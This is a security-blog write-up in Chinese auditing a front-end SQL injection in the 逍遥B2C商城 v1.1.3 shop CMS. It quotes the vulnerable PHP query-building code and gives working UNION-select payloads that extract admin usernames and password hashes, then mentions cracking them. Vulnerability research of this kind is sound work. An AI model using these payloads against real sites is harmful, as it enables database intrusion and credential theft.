freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试 | 某商城前台SQL注入漏洞测试
2023-12-08 14:50:35

环境准备

系统:Ubuntu 20.4

网站环境:宝塔(php7.2+mysql5.7.43)

工具:IntelliJ IDEA、burp suite

CMS版本:逍遥B2C商城v1.1.3

审计过程

进入漏洞点前先看看参数全局处理方法,源码中对于GET、POST、COOKIE的传参,会分别加上_g_、_p_、_c_的前缀

1702017263_6572b8ef7564f1ad44a82.png!small?1702017263516

直接来到漏洞点,漏洞点位于public/plugin/payment/alipay/pay.php:35行

1702017284_6572b904565ac8187e8cd.png!small?1702017284212

$order_id变量虽然经过pe_dbhold函数的过滤,但是因为此处sql语句的处理的问题(后文),不需要闭合引号,导致pe_dbhold函数失去了防护意义,pe_dbhold函数原型如下:

1702017315_6572b923a1bd8bf95f4b9.png!small?1702017315485

跟入order_table函数,函数的作用是如果参数存在_符号,就将参数根据_打散为数组,并返回order_和数组第一值组成的字符串,否则返回order字符串

1702017331_6572b9339ddf76f3b206c.png!small?1702017331472

pe_select方法的传参处理完成,跟入到pe_select方法

1702017344_6572b94097118bbb4d062.png!small?1702017344847

pe_select方法先经过_dowhere方法构造where子句,$where经过_dowhere方法处理完成后和$table一起拼接到sql语句中执行,_dowhere方法源码如下:

//处理条件语句
	protected function _dowhere($where)
	{
		if (is_array($where)) {
			foreach ($where as $k => $v) {
				$k = str_ireplace('`', '', $k);
				if (is_array($v)) {
					$where_arr[] = "`{$k}` in('".implode("','", $v)."')";			
				}
				else {
					in_array($k, array('order by', 'group by')) ? ($sqlby .= " {$k} {$v}") : ($where_arr[] = "`{$k}` = '{$v}'");
				}
			}
			$sqlwhere = is_array($where_arr) ? 'where '.implode($where_arr, ' and ').$sqlby : $sqlby;
		}
		else {
			$where && $sqlwhere = (stripos(trim($where), 'order by') === 0 or stripos(trim($where), 'group by') === 0) ? "{$where}" : "where 1 {$where}";
		}
		return $sqlwhere;
	}

结合之前的分析,发现查询语句的表名和后面的where子句是我们可控的参数

要想注入成功,需要满足的条件:

1.传参必须以pay`开头,因为cms只有一个order_pay表;

2.绕过单引号的闭合。

根据此处需要满足的条件,order_table函数成为突破的关键,order_table会根据_将$order_id打散为数组,第一部分拼接到表名,之后将$order_id拼接到where子句,那么将第一部分和后面的部分以/*_*/作为连接点不就可以成功将表名到固定的where部分全部注释掉吗?

漏洞验证

有了之前的结论,直接实战测试,构造poc如下:

//已知xy_admin表有12个字段,具体需测试
pay`+/*_*/where+false+union+select+1,2,3,4,5,6,7,8,9,10,11,12+from+xy_admin%23

1702017674_6572ba8a5c84e8c00c363.png!small?1702017674513

找到两个回显点,构造获取后台账号密码的poc:

pay`+/*_*/where+false+union+select+admin_name,2,admin_pw,4,5,6,7,8,9,10,11,12+from+xy_admin%23

1702017700_6572baa49b6f34a853af2.png!small?1702017700616

破解一下密码

1702017711_6572baaff3b89e0b2dd22.png!small?1702017711785

# web安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录